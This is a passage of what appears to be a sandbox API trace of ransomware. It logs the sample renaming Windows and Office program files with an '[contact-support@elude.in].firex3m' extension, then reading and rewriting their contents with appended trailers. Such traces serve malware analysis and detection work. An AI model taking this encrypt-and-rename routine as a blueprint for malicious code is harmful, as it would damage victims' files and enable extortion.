dwFlags=0x0, lpMem=0x71c0048 | out: hHeap=0x630000) returned 1 [0110.407] GetProcessHeap () returned 0x630000 [0110.407] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fedf68 | out: hHeap=0x630000) returned 1 [0110.407] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0110.407] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfcc4 | out: lpFindFileData=0x5fbfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc1dbd7c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc1dbd7c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7c1f341, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11024, dwReserved0=0xad47496, dwReserved1=0x71c0040, cFileName="Microsoft-Client-Licensing-Platform%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MICROS~1.FIR")) returned 0x6d51c0 [0110.408] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0110.408] Sleep (dwMilliseconds=0x1) [0112.313] SysReAllocStringLen (in: pbstr=0x5fbff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml", len=0x4b | out: pbstr=0x5fbff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0112.317] GetProcessHeap () returned 0x630000 [0112.317] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed6070, Size=0x2c) returned 0x6ed62a0 [0112.327] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0112.328] Sleep (dwMilliseconds=0x1) [0112.335] SysReAllocStringLen (in: pbstr=0x5fbff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml", len=0x53 | out: pbstr=0x5fbff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 1 [0112.335] GetProcessHeap () returned 0x630000 [0112.335] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed6070, Size=0x28) returned 0x699888 [0112.335] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0112.335] Sleep (dwMilliseconds=0x1) [0112.349] SysReAllocStringLen (in: pbstr=0x5fbff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickLearningWizard.exe", len=0x4a | out: pbstr=0x5fbff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickLearningWizard.exe") returned 1 [0112.349] GetProcessHeap () returned 0x630000 [0112.349] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699888, Size=0x24) returned 0x699a98 [0112.349] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickLearningWizard.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0112.353] Sleep (dwMilliseconds=0x1) [0112.366] SysReAllocStringLen (in: pbstr=0x5fbff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe", len=0x4a | out: pbstr=0x5fbff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 1 [0112.366] GetProcessHeap () returned 0x630000 [0112.366] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1208, Size=0xc) returned 0x6b13b8 [0112.367] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0112.367] CloseHandle (hObject=0x648) returned 1 [0112.367] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0112.367] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0112.368] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0112.368] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfc6c | out: lpFindFileData=0x5fbfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b3e121, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b3e121, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9e226c00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x406d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVShNotify.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="APPVSH~1.FIR")) returned 0x6d5500 [0112.368] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0112.368] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0112.368] GetProcessHeap () returned 0x630000 [0112.368] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ec0048 [0112.369] GetProcessHeap () returned 0x630000 [0112.369] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ff1840 [0112.369] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.369] ReadFile (in: hFile=0x648, lpBuffer=0x6ec0048, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ec0048*, lpNumberOfBytesRead=0x5fbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0115.076] GetProcessHeap () returned 0x630000 [0115.076] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feec88 [0115.076] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.076] WriteFile (in: hFile=0x648, lpBuffer=0x6ff1840*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ff1840*, lpNumberOfBytesWritten=0x5fbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0115.077] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.077] WriteFile (in: hFile=0x648, lpBuffer=0x6ffcc3f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ffcc3f*, lpNumberOfBytesWritten=0x5fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0115.078] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.078] WriteFile (in: hFile=0x648, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0115.078] CloseHandle (hObject=0x648) returned 1 [0115.085] GetProcessHeap () returned 0x630000 [0115.085] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ff1840 | out: hHeap=0x630000) returned 1 [0115.085] GetProcessHeap () returned 0x630000 [0115.085] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ec0048 | out: hHeap=0x630000) returned 1 [0115.087] GetProcessHeap () returned 0x630000 [0115.087] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feec88 | out: hHeap=0x630000) returned 1 [0115.087] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0115.087] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfcc4 | out: lpFindFileData=0x5fbfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b3e121, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b3e121, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xa8ae32c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x406fc, dwReserved0=0xad47496, dwReserved1=0x6ec0040, cFileName="AppVShNotify.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="APPVSH~1.FIR")) returned 0x6d5580 [0115.087] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0115.087] Sleep (dwMilliseconds=0x1) [0115.090] Sleep (dwMilliseconds=0x1) [0115.113] Sleep (dwMilliseconds=0x1) [0115.122] Sleep (dwMilliseconds=0x1) [0115.137] Sleep (dwMilliseconds=0x1) [0115.153] Sleep (dwMilliseconds=0x1) [0115.168] Sleep (dwMilliseconds=0x1) [0115.500] Sleep (dwMilliseconds=0x1) [0115.905] Sleep (dwMilliseconds=0x1) [0117.142] SysReAllocStringLen (in: pbstr=0x5fbff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe", len=0x32 | out: pbstr=0x5fbff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 1 [0117.142] GetProcessHeap () returned 0x630000 [0117.142] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b02b8, Size=0x10) returned 0x6b1340 [0117.143] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x68c [0117.143] CloseHandle (hObject=0x68c) returned 1 [0117.143] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0117.143] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0117.143] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0117.143] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfc6c | out: lpFindFileData=0x5fbfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="keytool.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="KEYTOO~1.FIR")) returned 0x6d5480 [0117.144] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0117.144] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x68c [0117.144] GetProcessHeap () returned 0x630000 [0117.144] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4061) returned 0x72181b0 [0117.144] GetProcessHeap () returned 0x630000 [0117.144] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4061) returned 0x721c220 [0117.144] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.144] ReadFile (in: hFile=0x68c, lpBuffer=0x72181b0, nNumberOfBytesToRead=0x4040, lpNumberOfBytesRead=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x72181b0*, lpNumberOfBytesRead=0x5fbff0c*=0x4040, lpOverlapped=0x0) returned 1 [0118.613] GetProcessHeap () returned 0x630000 [0118.613] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee4e0 [0118.613] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.613] WriteFile (in: hFile=0x68c, lpBuffer=0x721c220*, nNumberOfBytesToWrite=0x4040, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x721c220*, lpNumberOfBytesWritten=0x5fbff0c*=0x4040, lpOverlapped=0x0) returned 1 [0118.613] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.613] WriteFile (in: hFile=0x68c, lpBuffer=0x722025f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x722025f*, lpNumberOfBytesWritten=0x5fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0118.613] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.613] WriteFile (in: hFile=0x68c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0118.614] CloseHandle (hObject=0x68c) returned 1 [0118.615] GetProcessHeap () returned 0x630000 [0118.615] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x721c220 | out: hHeap=0x630000) returned 1 [0118.617] GetProcessHeap () returned 0x630000 [0118.617] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72181b0 | out: hHeap=0x630000) returned 1 [0118.618] GetProcessHeap () returned 0x630000 [0118.618] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee4e0 | out: hHeap=0x630000) returned 1 [0118.618] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0118.618] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfcc4 | out: lpFindFileData=0x5fbfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xca5eec6, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4064, dwReserved0=0xad47496, dwReserved1=0x72181a8, cFileName="keytool.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="KEYTOO~1.FIR")) returned 0x6d4e40 [0118.618] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0118.619] Sleep (dwMilliseconds=0x1) [0120.736] SysReAllocStringLen (in: pbstr=0x5fbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x5fbff7c*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 1 [0120.736] GetProcessHeap () returned 0x630000 [0120.736] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1cc) returned 0x66a3e0 [0120.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0120.737] CloseHandle (hObject=0x410) returned 1 [0120.737] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.737] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0120.738] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0120.739] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfc6c | out: lpFindFileData=0x5fbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x630061, dwReserved1=0x2d0074, cFileName="AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="APPXMA~4.FIR")) returned 0x6d5340 [0120.739] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0120.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0120.739] GetProcessHeap () returned 0x630000 [0120.739] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x501) returned 0x6672f8 [0120.739] GetProcessHeap () returned 0x630000 [0120.739] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x501) returned 0x6f33a38 [0120.739] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.739] ReadFile (in: hFile=0x410, lpBuffer=0x6672f8, nNumberOfBytesToRead=0x4e0, lpNumberOfBytesRead=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6672f8*, lpNumberOfBytesRead=0x5fbff0c*=0x4e0, lpOverlapped=0x0) returned 1 [0120.748] GetProcessHeap () returned 0x630000 [0120.748] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0120.748] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.748] WriteFile (in: hFile=0x410, lpBuffer=0x6f33a38*, nNumberOfBytesToWrite=0x4e0, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f33a38*, lpNumberOfBytesWritten=0x5fbff0c*=0x4e0, lpOverlapped=0x0) returned 1 [0120.748] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.748] WriteFile (in: hFile=0x410, lpBuffer=0x6f33f17*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f33f17*, lpNumberOfBytesWritten=0x5fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0120.749] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.749] WriteFile (in: hFile=0x410, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0120.749] CloseHandle (hObject=0x410) returned 1 [0120.750] GetProcessHeap () returned 0x630000 [0120.750] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f33a38 | out: hHeap=0x630000) returned 1 [0120.750] GetProcessHeap () returned 0x630000 [0120.750] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6672f8 | out: hHeap=0x630000) returned 1 [0120.750] GetProcessHeap () returned 0x630000 [0120.750] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0120.750] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0120.750] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfcc4 | out: lpFindFileData=0x5fbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdec9153, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x511, dwReserved0=0xad47496, dwReserved1=0x6672f0, cFileName="AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="APPXMA~4.FIR")) returned 0x6d5200 [0120.752] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0120.752] Sleep (dwMilliseconds=0x1) [0120.798] SysReAllocStringLen (in: pbstr=0x5fbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x5fbff7c*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 1 [0120.798] GetProcessHeap () returned 0x630000 [0120.798] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1c0) returned 0x66a3e0 [0120.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x708 [0122.256] CloseHandle (hObject=0x708) returned 1 [0122.256] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0122.257] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program 